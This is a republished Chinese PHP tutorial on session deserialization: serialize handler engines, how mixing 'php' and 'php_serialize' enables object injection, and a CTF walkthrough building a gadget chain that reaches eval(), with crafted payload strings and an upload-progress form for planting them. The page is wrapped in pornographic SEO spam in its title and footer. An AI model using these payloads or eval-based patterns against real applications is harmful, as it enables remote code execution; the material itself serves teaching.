国产片侵犯亲女视频播放_亚洲精品二区_在线免费国产视频_欧美精品一区二区三区在线_少妇久久久_在线观看av不卡

服務器之家:專注于服務器技術及軟件下載分享
分類導航

PHP教程|ASP.NET教程|Java教程|ASP教程|編程技術|正則表達式|C/C++|IOS|C#|Swift|Android|VB|R語言|JavaScript|易語言|vb.net|

服務器之家 - 編程語言 - PHP教程 - 深入解析PHP中SESSION反序列化機制

深入解析PHP中SESSION反序列化機制

2021-04-27 16:20乘物游心 PHP教程

這篇文章主要介紹了PHP中SESSION反序列化機制的相關資料,文中介紹的非常相信,相信對大家具有一定的參考價值,需要的朋友們下面來一起看看吧。

簡介

在php.ini中存在三項配置項:

  • session.save_path=""   --設置session的存儲路徑
  • session.save_handler="" --設定用戶自定義存儲函數,如果想使用PHP內置會話存儲機制之外的可以使用本函數(數據庫等方式)
  • session.auto_start   boolen --指定會話模塊是否在請求開始時啟動一個會話,默認為0不啟動
  • session.serialize_handler   string --定義用來序列化/反序列化的處理器名字。默認使用php

以上的選項就是與PHP中的Session存儲和序列話存儲有關的選項。

在使用xampp組件安裝中,上述的配置項的設置如下:

  • session.save_path="D:\xampp\tmp" 表明所有的session文件都是存儲在xampp/tmp下
  • session.save_handler=files     表明session是以文件的方式來進行存儲的
  • session.auto_start=0    表明默認不啟動session
  • session.serialize_handler=php     表明session的默認序列話引擎使用的是php序列話引擎

在上述的配置中,session.serialize_handler是用來設置session的序列話引擎的,除了默認的PHP引擎之外,還存在其他引擎,不同的引擎所對應的session的存儲方式不相同。

  1. php_binary:存儲方式是,鍵名的長度對應的ASCII字符+鍵名+經過serialize()函數序列化處理的值
  2. php:存儲方式是,鍵名+豎線+經過serialize()函數序列處理的值
  3. php_serialize(php>5.5.4):存儲方式是,經過serialize()函數序列化處理的值

在PHP中默認使用的是PHP引擎,如果要修改為其他的引擎,只需要添加代碼ini_set('session.serialize_handler', '需要設置的引擎');

示例代碼如下:

?
1
2
3
4
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something

存儲機制

php中的session中的內容并不是放在內存中的,而是以文件的方式來存儲的,存儲方式就是由配置項session.save_handler來進行確定的,默認是以文件的方式存儲。

存儲的文件是以sess_sessionid來進行命名的,文件的內容就是session值的序列話之后的內容。

假設我們的環境是xampp,那么默認配置如上所述。

在默認配置情況下:

?
1
2
3
4
5
<?php
session_start()
$_SESSION['name'] = 'spoock';
var_dump();
?>

最后的session的存儲和顯示如下:

深入解析PHP中SESSION反序列化機制

可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2,而在xampp/tmp下存儲的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2,文件的內容是name|s:6:"spoock"; 。name是鍵值,s:6:"spoock";serialize("spoock")的結果。

在php_serialize引擎下:

?
1
2
3
4
5
6
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>

SESSION文件的內容是a:1:{s:4:"name";s:6:"spoock";} 。a:1是使用php_serialize進行序列話都會加上。同時使用php_serialize會將session中的key和value都會進行序列化。

在php_binary引擎下:

?
1
2
3
4
5
6
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>

SESSION文件的內容是names:6:"spoock"; 。由于name的長度是4,4在ASCII表中對應的就是EOT。根據php_binary的存儲規則,最后就是names:6:"spoock"; 。(突然發現ASCII的值為4的字符無法在網頁上面顯示,這個大家自行去查ASCII表吧)

序列化簡單利用

test.php

?
1
2
3
4
5
6
7
8
9
10
11
12
<?php
class syclover{
 var $func="";
 function __construct() {
  $this->func = "phpinfo()";
 }
 function __wakeup(){
  eval($this->func);
 }
}
unserialize($_GET['a']);
?>

在11行對傳入的參數進行了序列化。我們可以通過傳入一個特定的字符串,反序列化為syclover的一個示例,那么就可以執行eval()方法。我們訪問localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}

那么反序列化得到的內容是:

?
1
2
object(syclover)[1]
 public 'func' => string 'echo "spoock";' (length=14)

最后頁面輸出的就是spoock,說明最后執行了我們定義的echo "spoock";方法。

這就是一個簡單的序列化的漏洞的演示

PHP Session中的序列化危害

PHP中的Session的實現是沒有的問題,危害主要是由于程序員的Session使用不當而引起的。

如果在PHP在反序列化存儲的$_SESSION數據時使用的引擎和序列化使用的引擎不一樣,會導致數據無法正確第反序列化。通過精心構造的數據包,就可以繞過程序的驗證或者是執行一些系統的方法。例如:

?
1
$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';

上述的$_SESSION的數據使用php_serialize,那么最后的存儲的內容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}

但是我們在進行讀取的時候,選擇的是php,那么最后讀取的內容是:

?
1
2
3
4
array (size=1)
 'a:1:{s:6:"spoock";s:24:"' =>
 object(__PHP_Incomplete_Class)[1]
 public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

這是因為當使用php引擎的時候,php引擎會以|作為作為key和value的分隔符,那么就會將a:1:{s:6:"spoock";s:24:"作為SESSION的key,將O:11:"PeopleClass":0:{}作為value,然后進行反序列化,最后就會得到PeopleClas這個類。
這種由于序列話化和反序列化所使用的不一樣的引擎就是造成PHP Session序列話漏洞的原因。

實際利用

存在s1.php和us2.php,2個文件所使用的SESSION的引擎不一樣,就形成了一個漏洞、
s1.php,使用php_serialize來處理session

?
1
2
3
4
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];

us2.php,使用php來處理session

?
1
2
3
4
5
6
7
8
9
10
11
12
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
 var $hi;
 function __construct(){
 $this->hi = 'phpinfo();';
 }
 
 function __destruct() {
  eval($this->hi);
 }
}

當訪問s1.php時,提交如下的數據:

?
1
localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

此時傳入的數據會按照php_serialize來進行序列化。

此時訪問us2.php時,頁面輸出,spoock成功執行了我們構造的函數。因為在訪問us2.php時,程序會按照php來反序列化SESSION中的數據,此時就會反序列化偽造的數據,就會實例化lemon對象,最后就會執行析構函數中的eval()方法。

CTF

在安恒杯中的一道題目就考察了這個知識點。題目中的關鍵代碼如下:

class.php

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
 
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);
 
class foo1{
 public $varr;
 function __construct(){
  $this->varr = "index.php";
 }
 function __destruct(){
  if(file_exists($this->varr)){
   echo "<br>文件".$this->varr."存在<br>";
  }
  echo "<br>這是foo1的析構函數<br>";
 }
}
 
class foo2{
 public $varr;
 public $obj;
 function __construct(){
  $this->varr = '1234567890';
  $this->obj = null;
 }
 function __toString(){
  $this->obj->execute();
  return $this->varr;
 }
 function __desctuct(){
  echo "<br>這是foo2的析構函數<br>";
 }
}
 
class foo3{
 public $varr;
 function execute(){
  eval($this->varr);
 }
 function __desctuct(){
  echo "<br>這是foo3的析構函數<br>";
 }
}
 
?>

index.php

?
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
 
ini_set('session.serialize_handler', 'php');
 
require("./class.php");
 
session_start();
 
$obj = new foo1();
 
$obj->varr = "phpinfo.php";
 
?>

通過代碼發現,我們最終是要通過foo3中的execute來執行我們自定義的函數。

那么我們首先在本地搭建環境,構造我們需要執行的自定義的函數。如下:

myindex.php

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class foo3{
 public $varr='echo "spoock";';
 function execute(){
  eval($this->varr);
 }
}
class foo2{
 public $varr;
 public $obj;
 function __construct(){
  $this->varr = '1234567890';
  $this->obj = new foo3();
 }
 function __toString(){
  $this->obj->execute();
  return $this->varr;
 }
}
 
class foo1{
 public $varr;
 function __construct(){
  $this->varr = new foo2();
 }
}
 
 
$obj = new foo1();
print_r(serialize($obj));
?>

在foo1中的構造函數中定義$varr的值為foo2的實例,在foo2中定義$obj為foo3的實例,在foo3中定義$varr的值為echo "spoock"。最終得到的序列話的值是

?
1
O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}

這樣當上面的序列話的值寫入到服務器端,然后再訪問服務器的index.php,最終就會執行我們預先定義的echo "spoock";的方法了。

寫入的方式主要是利用PHP中Session Upload Progress來進行設置,具體為,在上傳文件時,如果POST一個名為PHP_SESSION_UPLOAD_PROGRESS的變量,就可以將filename的值賦值到session中,上傳的頁面的寫法如下:

?
1
2
3
4
5
<form action="index.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
 <input type="file" name="file" />
 <input type="submit" />
</form>

最后就會將文件名寫入到session中,具體的實現細節可以參考PHP手冊。

那么最終寫入的文件名是|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:12:\"var_dump(1);\";}}}。注意與本地反序列化不一樣的地方是要在最前方加上|
但是我在進行本地測試的時候,發現無法實現安恒這道題目所實現的效果,但是最終的原理是一樣的。

總結

通過對PHP中的SESSION的分析,對PHP中的SESSION的實現原理有了更加深刻的認識。這個PHP的SESSION問題也是一個很好的問題。上述的這篇文章不僅使大家PHP中的SESSION的序列化漏洞有一個認識,也有助于程序員加強在PHP中的SESSION機制的理解。

好了,以上就是這篇文章的全部內容了,希望本文的內容對大家的學習或者工作能帶來一定的幫助,如果有疑問大家可以留言交流。

原文鏈接:http://blog.spoock.com/2016/10/16/php-serialize-problem/

延伸 · 閱讀

精彩推薦
Weibo Article 1 Weibo Article 2 Weibo Article 3 Weibo Article 4 Weibo Article 5 Weibo Article 6 Weibo Article 7 Weibo Article 8 Weibo Article 9 Weibo Article 10 Weibo Article 11 Weibo Article 12 Weibo Article 13 Weibo Article 14 Weibo Article 15 Weibo Article 16 Weibo Article 17 Weibo Article 18 Weibo Article 19 Weibo Article 20 Weibo Article 21 Weibo Article 22 Weibo Article 23 Weibo Article 24 Weibo Article 25 Weibo Article 26 Weibo Article 27 Weibo Article 28 Weibo Article 29 Weibo Article 30 Weibo Article 31 Weibo Article 32 Weibo Article 33 Weibo Article 34 Weibo Article 35 Weibo Article 36 Weibo Article 37 Weibo Article 38 Weibo Article 39 Weibo Article 40
主站蜘蛛池模板: 极品美女销魂一区二区三区 | 欧美亚洲国产一区二区三区 | 18av网站| 一区二区三区在线视频播放 | 亚洲成人一区二区三区在线观看 | 成人精品一区二区 | 国产高清精品在线 | 国产精品自拍在线观看 | 久久精品一区二区三区四区 | 午夜精品视频 | 成人性生交大片免费看网站 | 日韩精品无码一区二区三区 | 亚洲国内精品 | 日韩精品www| 蜜桃视频一区二区三区 | 日本精品久久久 | 亚洲成人久久久久 | 成人影院在线 | 国产精品成人一区二区三区 | 日韩一区精品视频 | 希岛爱理在线 | 九九av | 久久精品国产99国产精品 | 日韩精品一区二区在线观看 | 国产精品毛片一区二区 | 久久久国际精品 | 日韩字幕在线 | 国产成人免费 | 高清av在线| 91在线视频导航 | 久久久成人精品 | 免费看的av | 国产一区在线免费观看 | 日韩一本 | 色淫av| 亚洲精品影院在线 | 亚洲毛片在线观看 | 国产中文字幕在线 | 国产中文字幕网 | 天天天天操 | 免费观看一级视频 |